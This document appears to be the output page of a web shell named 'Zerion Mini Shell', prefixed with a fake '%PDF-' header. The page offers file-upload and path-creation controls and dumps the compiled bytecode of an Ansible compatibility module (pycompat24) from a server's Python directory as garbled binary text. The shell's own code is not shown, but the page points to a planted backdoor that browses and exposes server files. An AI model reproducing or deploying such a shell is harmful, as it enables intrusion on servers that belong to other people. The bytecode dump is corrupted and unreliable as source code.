%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/__pycache__/pycompat24.cpython-39.pyc

a

�)gt�@s�ddlmZmZmZeZddlZdd�Zzddlm	Z	WnBe
yzddlmZmZddl
mZmZmZmZdd	�Z	Yn0d
ZdS)�)�absolute_import�division�print_functionNcCst��dS)a8Get the current exception.

    This code needs to work on Python 2.4 through 3.x, so we cannot use
    "except Exception, e:" (SyntaxError on Python 3.x) nor
    "except Exception as e:" (SyntaxError on Python 2.4-2.5).
    Instead we must use ::

        except Exception:
            e = get_exception()

    �)�sys�exc_info�rr�C/usr/lib/python3.9/site-packages/ansible/module_utils/pycompat24.py�
get_exception#sr
)�literal_eval)�ast�parse)�binary_type�
integer_types�string_types�	text_typecsJdddd��t|t�r"t|dd�}t|tj�r4|j}��fdd���|�S)	a
        Safely evaluate an expression node or a string containing a Python
        expression.  The string or node provided may only consist of the  following
        Python literal structures: strings, numbers, tuples, lists, dicts,  booleans,
        and None.
        NTF)�None�True�False�eval)�modecs�t|tj�r*t|jttttft�r*|jSt|tj	�rFt
t�|j��St|tj
�rbtt�|j��St|tj�r�t�fdd�|��D��St|tj�r�|j�vrˆ|jSnt|tj�rˆ|j�Std��dS)Nc3s"|]\}}�|��|�fVqdS)Nr)�.0�k�v)�_convertrr	�	<genexpr>R�z1literal_eval.<locals>._convert.<locals>.<genexpr>zmalformed string)�
isinstancerZConst�valuerr�float�complexr�Tuple�tuple�mapZnodes�List�list�Dict�dict�items�Name�nameZUnarySub�expr�
ValueError)�node�rZ_safe_namesrr	rJs$
zliteral_eval.<locals>._convert)rrr
rZ
Expressionr-)Znode_or_stringrr.r	r=s
r)r
r)Z
__future__rrr�typeZ
__metaclass__rr
rr�ImportErrorZcompilerr
Zansible.module_utils.sixrrrr�__all__rrrr	�<module>s

Zerion Mini Shell 1.0